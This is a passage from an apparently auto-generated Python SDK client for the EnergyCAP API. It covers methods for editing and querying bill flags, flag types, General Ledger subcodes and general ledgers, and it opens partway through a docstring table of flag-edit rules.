| false | Exception, must provided a non-null value for
HoldFromExport or ReleaseExportHold
|
| **system or user type** | null | null
| null | null | false
| false | Flag type updated
|
| null | **resolved** | null
| null | null | false
| false | Resolved
|
| null | **resolved** | null
| null | null | false
| **true** | Resolved, released for export
|
| null | null | **not null**
| null | null | false
| false | Updated, cost recovery
|
| null | null | null
| **not null** | null | false
| false | Assigned
|
| null | null | null
| null | **not null** | false
| false | Updated, comment
|
| **not null**<sup>1</sup> | **not null**<sup>3</sup> | **not
null**<sup>1</sup> | **not null**<sup>2</sup> | **not
null**<sup>1</sup> | false | false |
<sup>1</sup>Updated, specified type, cost recovery, comment<br
/><sup>2</sup>Assigned, comment<br /><sup>3</sup>Resolved, comment
|
| **not null**<sup>1</sup> | **not null**<sup>3</sup> | **not
null**<sup>1</sup> | **not null**<sup>2</sup> | **not
null**<sup>1</sup> | **true**<sup>1</sup> | false |
<sup>1</sup>Updated, specified type, cost recovery, comment, held from
export<br /><sup>2</sup>Assigned, comment<br /><sup>3</sup>Resolved,
comment |
Edit Resolved Flag (the entity is already flagged)
| FlagTypeId | FlagStatusId |
CostRecovery | Assignees | Comment
| HoldFromExport | ReleaseExportHold |
Action |
| ------------------------ | -------------------------- |
------------------------ | ------------------------ |
------------------------ | -------------------- | --------------------
|
---------------------------------------------------------------------------------------------------------------------------------
|
| null | null | null
| null | **non-null** | **true**
| **true** | Exception, cannot set both HoldFromExport and
ReleaseExportHold at once
|
| null | null | null
| null | null | **non-null**
| **non-null** | Exception, must have at least one set
|
| null | null | null
| null | null | false
| false | Exception, must provided a non-null value for
HoldFromExport or ReleaseExportHold
|
| **system or user type** | null | null
| null | null | false
| false | Updated, specified type
|
| null | **non-null** | null
| null | null | false
| false | Exception; must provide flag type (cannot
change flag status of a resolved flag; instead must "re-flag" it)
|
| null | null | **not null**
| null | null | false
| false | Exception; must provide flag type (cannot
change flag status of a resolved flag; instead must "re-flag" it)
|
| null | null | null
| **not null** | null | false
| false | Exception; must provide flag type (cannot
change flag status of a resolved flag; instead must "re-flag" it)
|
| null | null | null
| null | **not null** | false
| false | Exception; must provide flag type (cannot
change flag status of a resolved flag; instead must "re-flag" it)
|
| **not null**<sup>1</sup> | **not null**<sup>3</sup> | **not
null**<sup>1</sup> | **not null**<sup>2</sup> | **not
null**<sup>1</sup> | false | false |
<sup>1</sup>Updated, specified type, cost recovery, comment<br
/><sup>2</sup>Assigned, comment<br /><sup>3</sup>Resolved, comment |
| **not null**<sup>1</sup> | **unresolved**<sup>3</sup> | **not
null**<sup>1</sup> | **not null**<sup>2</sup> | **not
null**<sup>1</sup> | **true**<sup>1</sup> | false |
<sup>1</sup>Flagged, specified type, cost recovery, comment, no export
hold action<br /><sup>2</sup>Assigned, comment<br /> |
| **not null**<sup>1</sup> | **resolved**<sup>3</sup> | **not
null**<sup>1</sup> | **not null**<sup>2</sup> | **not
null**<sup>1</sup> | false | **true**<sup>1</sup> |
<sup>1</sup>Resolved, specified type, cost recovery, comment, no export
hold action<br /><sup>2</sup>Assigned, comment<br /> |
| **not null**<sup>1</sup> | **unresolved**<sup>3</sup> | **not
null**<sup>1</sup> | **not null**<sup>2</sup> | **not
null**<sup>1</sup> | **true**<sup>1</sup> | false |
<sup>1</sup>Flagged, specified type, cost recovery, comment, held from
export<br /><sup>2</sup>Assigned, comment<br /> |
| **not null**<sup>1</sup> | **resolved**<sup>3</sup> | **not
null**<sup>1</sup> | **not null**<sup>2</sup> | **not
null**<sup>1</sup> | false | **true**<sup>1</sup> |
<sup>1</sup>Resolved, specified type, cost recovery, comment, released
from export<br /><sup>2</sup>Assigned, comment<br /> |.
:param entity_type: The type of entity the flag is being request for.
Supported values are: "Bill"
:type entity_type: str
:param entity_id: The identifier of the entity
:type entity_id: int
:param body: The flag edit request
:type body: ~energycap.sdk.models.FlagEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: FlagResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.FlagResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_flag.metadata['url']
path_format_arguments = {
'entityType': self._serialize.url("entity_type", entity_type, 'str'),
'entityId': self._serialize.url("entity_id", entity_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'FlagEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('FlagResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_flag.metadata = {'url': '/api/v3/flag/{entityType}/{entityId}'}
def get_flag_types(
self, custom_headers=None, raw=False, **operation_config):
"""Get a list of all available flag types.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FlagTypeChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_flag_types.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FlagTypeChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_flag_types.metadata = {'url': '/api/v3/flag/flagType'}
def create_flag_type(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a flag type.
:param body: Contains the name of the flag type being created
:type body: ~energycap.sdk.models.FlagTypeCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: FlagTypeChild or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.FlagTypeChild or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_flag_type.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'FlagTypeCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('FlagTypeChild', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_flag_type.metadata = {'url': '/api/v3/flag/flagType'}
def delete_flag_type(
self, flag_type_id, custom_headers=None, raw=False, **operation_config):
"""Delete a flag type. System flag types cannot be deleted.
:param flag_type_id: The identifier for the flag type being deleted
:type flag_type_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_flag_type.metadata['url']
path_format_arguments = {
'flagTypeId': self._serialize.url("flag_type_id", flag_type_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_flag_type.metadata = {'url': '/api/v3/flag/flagType/{flagTypeId}'}
def flag_action(
self, entity_type, body=None, custom_headers=None, raw=False, **operation_config):
"""Updates flags for a given list of entities. If the entity does not
currently have a flag, one will be created.
:param entity_type: The type of entity the flag is being request for.
Supported values are: "Bill"
:type entity_type: str
:param body: The changes to be made to the flags
:type body: ~energycap.sdk.models.FlagListAction
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.flag_action.metadata['url']
path_format_arguments = {
'entityType': self._serialize.url("entity_type", entity_type, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'FlagListAction')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
flag_action.metadata = {'url': '/api/v3/flag/{entityType}/flagAction'}
def flag_in_place_hierarchy(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Checks a given place and it's child places, meters, and bills for the
existence of a flag
For bill flags, void bills are excluded.
:param place_id:
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SingleBoolean or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SingleBoolean or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.flag_in_place_hierarchy.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SingleBoolean', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
flag_in_place_hierarchy.metadata = {'url': '/api/v3/flag/place/{placeId}/hierarchy'}
def flag_in_cost_center_hierarchy(
self, cost_center_id, custom_headers=None, raw=False, **operation_config):
"""Checks a given cost center and it's child cost centers, accounts, and
bills for the existence of a flag
For bill flags, void bills are excluded.
:param cost_center_id:
:type cost_center_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SingleBoolean or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SingleBoolean or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.flag_in_cost_center_hierarchy.metadata['url']
path_format_arguments = {
'costCenterId': self._serialize.url("cost_center_id", cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SingleBoolean', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
flag_in_cost_center_hierarchy.metadata = {'url': '/api/v3/flag/costCenter/{costCenterId}/hierarchy'}
def flag_in_meter_hierarchy(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Checks a given meter and it's bills for the existence of a flag
For bill flags, void bills are excluded.
:param meter_id:
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SingleBoolean or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SingleBoolean or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.flag_in_meter_hierarchy.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SingleBoolean', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
flag_in_meter_hierarchy.metadata = {'url': '/api/v3/flag/meter/{meterId}/hierarchy'}
def flag_in_account_hierarchy(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Checks a given account and it's bills for the existence of a flag
For bill flags, void bills are excluded.
:param account_id:
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SingleBoolean or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SingleBoolean or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.flag_in_account_hierarchy.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SingleBoolean', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
flag_in_account_hierarchy.metadata = {'url': '/api/v3/flag/account/{accountId}/hierarchy'}
def bill_flag_summary_by_account(
self, cost_center_id, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Returns a tabular flag summary by Account for all the accounts under
the given cost center.
:param cost_center_id: Parent cost center identifier
:type cost_center_id: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: FlagWidget or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.FlagWidget or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_flag_summary_by_account.metadata['url']
path_format_arguments = {
'costCenterId': self._serialize.url("cost_center_id", cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('FlagWidget', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
bill_flag_summary_by_account.metadata = {'url': '/api/v3/flag/costcenter/{costCenterId}/billFlagSummary'}
def bill_flag_summary_by_meter(
self, place_id, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Returns a tabular flag summary by Meter for all the meters under the
given place.
:param place_id: Parent place identifier
:type place_id: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: FlagWidget or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.FlagWidget or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_flag_summary_by_meter.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('FlagWidget', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
bill_flag_summary_by_meter.metadata = {'url': '/api/v3/flag/place/{placeId}/billFlagSummary'}
def get_gl_sub_codes(
self, custom_headers=None, raw=False, **operation_config):
"""Retrieves all General Ledger SubCode definitions.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GLSubcodeResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_gl_sub_codes.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GLSubcodeResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_gl_sub_codes.metadata = {'url': '/api/v3/glsubcode'}
def edit_gl_sub_codes(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit General Ledger Subcode definitions - update name, type and if
"list" type edit (add/delete/edit) pick list values.
One or more subcodes can be edited.
:param body: Provide the subcode definition
:type body: list[~energycap.sdk.models.GLSubcodeRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GLSubcodeResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_gl_sub_codes.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[GLSubcodeRequest]')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GLSubcodeResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_gl_sub_codes.metadata = {'url': '/api/v3/glsubcode'}
def get_gl_sub_code(
self, sub_code_index, custom_headers=None, raw=False, **operation_config):
"""Retrieves specific General Ledger Subcode definition.
:param sub_code_index: The index of the subCode being retrieved
:type sub_code_index: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GLSubcodeResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GLSubcodeResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_gl_sub_code.metadata['url']
path_format_arguments = {
'subCodeIndex': self._serialize.url("sub_code_index", sub_code_index, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GLSubcodeResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_gl_sub_code.metadata = {'url': '/api/v3/glsubcode/{subCodeIndex}'}
def get_gl_sub_code_values(
self, sub_code_index, custom_headers=None, raw=False, **operation_config):
"""Retrieves unique General Ledger Subcode values.
:param sub_code_index: The index of the subCode whose values are being
retrieved
:type sub_code_index: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[str] or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_gl_sub_code_values.metadata['url']
path_format_arguments = {
'subCodeIndex': self._serialize.url("sub_code_index", sub_code_index, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[str]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_gl_sub_code_values.metadata = {'url': '/api/v3/glsubcode/{subCodeIndex}/savedValues'}
def get_general_ledgers(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all General Ledgers.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GeneralLedgerResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_general_ledgers.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[GeneralLedgerResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_general_ledgers.metadata = {'url': '/api/v3/generalledger'}
def create_general_ledger(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a General Ledger.
:param body: Data representing the general ledger being created
:type body: ~energycap.sdk.models.GeneralLedgerRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GeneralLedgerResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GeneralLedgerResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_general_ledger.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'GeneralLedgerRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GeneralLedgerResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_general_ledger.metadata = {'url': '/api/v3/generalledger'}
def get_general_ledger(
self, general_ledger_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves a specific General Ledger.
:param general_ledger_id: General Ledger ID to return
:type general_ledger_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GeneralLedgerResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GeneralLedgerResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_general_ledger.metadata['url']
path_format_arguments = {
'generalLedgerId': self._serialize.url("general_ledger_id", general_ledger_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GeneralLedgerResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_general_ledger.metadata = {'url': '/api/v3/generalledger/{generalLedgerId}'}
def edit_general_ledger(
self, general_ledger_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Updates a General Ledger.
:param general_ledger_id: General Ledger ID to update
:type general_ledger_id: int
:param body: Data representing the general ledger to update
:type body: ~energycap.sdk.models.GeneralLedgerRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GeneralLedgerResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GeneralLedgerResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_general_ledger.metadata['url']
path_format_arguments = {
'generalLedgerId': self._serialize.url("general_ledger_id", general_ledger_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
